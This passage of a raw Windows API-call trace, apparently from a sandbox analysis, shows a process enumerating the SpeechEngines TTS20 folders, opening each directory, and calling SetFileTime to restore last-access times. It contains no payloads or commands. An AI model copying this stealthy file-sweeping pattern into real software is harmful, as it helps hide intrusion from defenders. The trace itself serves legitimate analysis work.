nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0064.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0064.272] NtClose (Handle=0x168) returned 0x0 [0064.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0064.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed720 [0064.272] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0064.272] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.272] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.272] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0064.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0064.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0064.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0064.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0064.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0064.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0064.272] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0064.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0064.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0064.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0064.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0064.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0064.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0064.273] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0064.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0064.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0064.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0064.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0064.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0064.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0064.273] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0064.273] GetLastError () returned 0x12 [0064.273] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0064.273] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0064.273] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.273] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0064.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0064.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05588 [0064.273] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0064.274] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0064.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0064.274] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0064.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0064.274] NtClose (Handle=0x168) returned 0x0 [0064.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05588) returned 1 [0064.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0064.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0064.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05588 [0064.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0064.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05378 [0064.274] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0064.274] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.274] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0064.274] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0064.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0064.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0064.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0064.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0064.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0064.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0064.275] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0064.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0064.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0064.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0064.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0064.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0064.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05690 [0064.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0064.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04020 [0064.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa058a0 [0064.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0064.275] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0064.275] GetLastError () returned 0x12 [0064.275] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9140 [0064.275] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0064.275] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.275] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0064.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05798 [0064.276] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0064.276] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0064.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0064.276] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0064.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0064.276] NtClose (Handle=0x168) returned 0x0 [0064.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05798) returned 1 [0064.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0064.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0064.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05798 [0064.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0064.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa059a8 [0064.276] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0064.277] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.277] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0064.277] GetLastError () returned 0x12 [0064.277] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0064.277] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0064.277] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.277] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0064.277] GetLastError () returned 0x12 [0064.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa059a8) returned 1 [0064.277] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0064.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0064.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05798) returned 1 [0064.277] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0064.277] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0064.277] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0064.277] GetLastError () returned 0x12 [0064.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05378) returned 1 [0064.277] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0064.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05690) returned 1 [0064.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05588) returned 1 [0064.277] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0064.278] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0064.278] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0064.278] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 